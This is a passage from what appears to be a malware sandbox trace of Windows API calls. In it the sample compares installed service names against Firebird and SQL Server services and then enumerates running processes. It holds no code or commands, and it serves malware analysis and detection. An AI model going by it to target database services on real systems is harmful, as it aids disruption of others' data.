lpString2="LanmanWorkstation") returned 1 [0218.222] lstrlenW (lpString="lfsvc") returned 5 [0218.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0218.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0218.222] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0218.222] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0218.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0218.222] lstrlenW (lpString="lmhosts") returned 7 [0218.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0218.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0218.222] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0218.222] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0218.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0218.222] lstrlenW (lpString="LSM") returned 3 [0218.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0218.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0218.223] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0218.223] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0218.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0218.223] lstrlenW (lpString="MpsSvc") returned 6 [0218.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0218.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0218.223] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0218.223] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0218.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0218.223] lstrlenW (lpString="NcbService") returned 10 [0218.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0218.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0218.223] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0218.223] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0218.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0218.223] lstrlenW (lpString="netprofm") returned 8 [0218.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0218.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0218.223] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0218.223] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0218.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0218.223] lstrlenW (lpString="NgcSvc") returned 6 [0218.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0218.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0218.223] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0218.223] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0218.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0218.223] lstrlenW (lpString="NlaSvc") returned 6 [0218.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0218.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0218.223] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0218.224] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0218.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0218.224] lstrlenW (lpString="nsi") returned 3 [0218.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0218.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0218.224] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0218.224] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0218.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0218.224] lstrlenW (lpString="PcaSvc") returned 6 [0218.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0218.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0218.224] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0218.225] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0218.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0218.225] lstrlenW (lpString="PlugPlay") returned 8 [0218.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0218.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0218.225] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0218.225] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0218.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0218.225] lstrlenW (lpString="Power") returned 5 [0218.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0218.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0218.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0218.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0218.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0218.238] lstrlenW (lpString="ProfSvc") returned 7 [0218.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0218.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0218.239] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0218.239] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0218.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0218.239] lstrlenW (lpString="RpcEptMapper") returned 12 [0218.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0218.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0218.239] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0218.239] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0218.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0218.239] lstrlenW (lpString="RpcSs") returned 5 [0218.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0218.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0218.239] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0218.239] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0218.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0218.239] lstrlenW (lpString="SamSs") returned 5 [0218.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0218.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0218.239] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0218.239] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0218.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0218.239] lstrlenW (lpString="Schedule") returned 8 [0218.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0218.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0218.239] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0218.240] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0218.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0218.240] lstrlenW (lpString="SecurityHealthService") returned 21 [0218.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0218.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0218.240] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0218.240] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0218.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0218.240] lstrlenW (lpString="SENS") returned 4 [0218.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0218.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0218.240] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0218.240] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0218.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0218.240] lstrlenW (lpString="ShellHWDetection") returned 16 [0218.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0218.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0218.240] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0218.240] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0218.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0218.240] lstrlenW (lpString="Spooler") returned 7 [0218.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0218.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0218.240] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0218.240] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0218.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0218.241] lstrlenW (lpString="StateRepository") returned 15 [0218.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0218.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0218.241] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0218.241] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0218.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0218.241] lstrlenW (lpString="SysMain") returned 7 [0218.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0218.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0218.241] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0218.241] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0218.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0218.241] lstrlenW (lpString="SystemEventsBroker") returned 18 [0218.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0218.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0218.241] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0218.241] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0218.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0218.241] lstrlenW (lpString="Themes") returned 6 [0218.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0218.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0218.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0218.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0218.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0218.241] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0218.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0218.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0218.241] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0218.241] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0218.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0218.241] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0218.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0218.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0218.242] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0218.242] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0218.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6cf658 | out: hHeap=0x670000) returned 1 [0218.242] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d4 [0218.249] Process32FirstW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.250] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0218.250] lstrlenW (lpString="System") returned 6 [0218.250] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0218.251] lstrlenW (lpString="smss.exe") returned 8 [0218.251] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.251] lstrlenW (lpString="csrss.exe") returned 9 [0218.251] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0218.252] lstrlenW (lpString="wininit.exe") returned 11 [0218.252] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.253] lstrlenW (lpString="csrss.exe") returned 9 [0218.253] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0218.253] lstrlenW (lpString="winlogon.exe") returned 12 [0218.253] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0218.254] lstrlenW (lpString="services.exe") returned 12 [0218.254] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0218.254] lstrlenW (lpString="lsass.exe") returned 9 [0218.254] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0218.255] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0218.255] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0218.255] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0218.255] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.256] lstrlenW (lpString="svchost.exe") returned 11 [0218.256] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.257] lstrlenW (lpString="svchost.exe") returned 11 [0218.257] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0218.257] lstrlenW (lpString="dwm.exe") returned 7 [0218.257] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.257] lstrlenW (lpString="svchost.exe") returned 11 [0218.258] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.258] lstrlenW (lpString="svchost.exe") returned 11 [0218.258] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.259] lstrlenW (lpString="svchost.exe") returned 11 [0218.259] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.259] lstrlenW (lpString="svchost.exe") returned 11 [0218.259] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.259] lstrlenW (lpString="svchost.exe") returned 11 [0218.259] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.260] lstrlenW (lpString="svchost.exe") returned 11 [0218.260] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.260] lstrlenW (lpString="svchost.exe") returned 11 [0218.260] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.261] lstrlenW (lpString="svchost.exe") returned 11 [0218.261] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.262] lstrlenW (lpString="svchost.exe") returned 11 [0218.262] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.262] lstrlenW (lpString="svchost.exe") returned 11 [0218.262] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0218.263] lstrlenW (lpString="spoolsv.exe") returned 11 [0218.263] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0218.263] lstrlenW (lpString="taskhostw.exe") returned 13 [0218.263] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.264] lstrlenW (lpString="svchost.exe") returned 11 [0218.264] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0218.264] lstrlenW (lpString="audiodg.exe") returned 11 [0218.265] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0218.265] lstrlenW (lpString="sihost.exe") returned 10 [0218.265] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.266] lstrlenW (lpString="svchost.exe") returned 11 [0218.266] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0218.266] lstrlenW (lpString="MDMAgent.exe") returned 12 [0218.266] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0218.267] lstrlenW (lpString="taskhostw.exe") returned 13 [0218.267] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0218.267] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0218.267] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0218.268] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0218.268] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0218.269] lstrlenW (lpString="Memory Compression") returned 18 [0218.269] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0218.269] lstrlenW (lpString="explorer.exe") returned 12 [0218.269] Process32NextW (in: hSnapshot=0x2d4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 